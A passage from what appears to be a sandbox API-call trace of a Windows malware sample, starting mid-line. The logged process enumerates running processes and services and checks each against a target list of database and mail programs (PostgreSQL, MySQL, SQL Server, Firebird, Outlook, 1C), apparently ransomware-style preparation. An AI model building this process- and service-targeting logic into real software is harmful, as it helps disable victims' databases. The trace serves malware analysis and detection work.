(lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.805] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.805] lstrlenW (lpString="wininit.exe") returned 11 [0036.805] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.805] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.805] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.806] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.806] lstrlenW (lpString="csrss.exe") returned 9 [0036.806] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.806] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.806] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.807] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.807] lstrlenW (lpString="winlogon.exe") returned 12 [0036.808] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.808] lstrlenW (lpString="services.exe") returned 12 [0036.808] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.809] lstrlenW (lpString="lsass.exe") returned 9 [0036.809] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.810] lstrlenW (lpString="lsm.exe") returned 7 [0036.810] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.810] lstrlenW (lpString="svchost.exe") returned 11 [0036.810] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.811] lstrlenW (lpString="svchost.exe") returned 11 [0036.811] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.812] lstrlenW (lpString="svchost.exe") returned 11 [0036.812] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.813] lstrlenW (lpString="svchost.exe") returned 11 [0036.813] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.814] lstrlenW (lpString="svchost.exe") returned 11 [0036.814] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.814] lstrlenW (lpString="audiodg.exe") returned 11 [0036.814] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.815] lstrlenW (lpString="svchost.exe") returned 11 [0036.815] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.816] lstrlenW (lpString="svchost.exe") returned 11 [0036.816] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.816] lstrlenW (lpString="dwm.exe") returned 7 [0036.817] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.817] lstrlenW (lpString="explorer.exe") returned 12 [0036.817] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.818] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.818] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.819] lstrlenW (lpString="taskhost.exe") returned 12 [0036.819] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.819] lstrlenW (lpString="svchost.exe") returned 11 [0036.819] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.820] lstrlenW (lpString="taskeng.exe") returned 11 [0036.820] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.821] lstrlenW (lpString="taskhost.exe") returned 12 [0036.821] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0036.821] lstrlenW (lpString="promotesrouting.exe") returned 19 [0036.821] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0036.822] lstrlenW (lpString="rxcalled.exe") returned 12 [0036.822] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0036.823] lstrlenW (lpString="off.exe") returned 7 [0036.823] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0036.823] lstrlenW (lpString="mayorintl.exe") returned 13 [0036.824] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0036.824] lstrlenW (lpString="gzip-june.exe") returned 13 [0036.824] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0036.825] lstrlenW (lpString="lsnavy.exe") returned 10 [0036.825] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0036.826] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0036.826] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0036.826] lstrlenW (lpString="specifications.exe") returned 18 [0036.826] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0038.217] lstrlenW (lpString="soup-mario.exe") returned 14 [0038.217] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0038.218] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0038.218] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0038.218] lstrlenW (lpString="platformsprivate.exe") returned 20 [0038.218] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0038.219] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0038.219] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0038.219] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0038.219] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0038.220] lstrlenW (lpString="scan-allows.exe") returned 15 [0038.220] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0038.221] lstrlenW (lpString="mwprovince.exe") returned 14 [0038.221] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0038.221] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0038.221] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0038.222] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0038.222] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0038.222] lstrlenW (lpString="contacting.exe") returned 14 [0038.222] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0038.223] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0038.223] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0038.223] lstrlenW (lpString="jpmanagers.exe") returned 14 [0038.223] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0038.224] lstrlenW (lpString="motor.exe") returned 9 [0038.224] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0038.224] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0038.224] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0038.225] lstrlenW (lpString="toshiba.exe") returned 11 [0038.225] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.225] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.225] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0038.226] lstrlenW (lpString="mobsync.exe") returned 11 [0038.226] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.226] lstrlenW (lpString="dllhost.exe") returned 11 [0038.226] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.227] lstrlenW (lpString="dllhost.exe") returned 11 [0038.227] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0038.227] lstrlenW (lpString="3G6885.exe") returned 10 [0038.227] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.228] lstrlenW (lpString="cmd.exe") returned 7 [0038.228] Process32NextW (in: hSnapshot=0x118, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0038.228] CloseHandle (hObject=0x118) returned 1 [0038.228] Sleep (dwMilliseconds=0x1f4) [0039.618] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fbd0 [0039.619] EnumServicesStatusExW (in: hSCManager=0x63fbd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0039.619] GetLastError () returned 0xea [0039.619] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x36f0758 [0039.620] EnumServicesStatusExW (in: hSCManager=0x63fbd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36f0758, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36f0758, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0039.621] CloseServiceHandle (hSCObject=0x63fbd0) returned 1 [0039.621] lstrlenW (lpString="Appinfo") returned 7 [0039.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.621] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.621] lstrlenW (lpString="AudioSrv") returned 8 [0039.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.622] lstrlenW (lpString="BFE") returned 3 [0039.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.622] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.622] lstrlenW (lpString="CryptSvc") returned 8 [0039.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.622] lstrlenW (lpString="CscService") returned 10 [0039.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.622] lstrlenW (lpString="DcomLaunch") returned 10 [0039.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.623] lstrlenW (lpString="Dhcp") returned 4 [0039.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.623] lstrlenW (lpString="Dnscache") returned 8 [0039.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.623] lstrlenW (lpString="DPS") returned 3 [0039.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.623] lstrlenW (lpString="eventlog") returned 8 [0039.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.623] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.623] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0039.623] lstrlenW (lpString="EventSystem") returned 11 [0039.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.624] 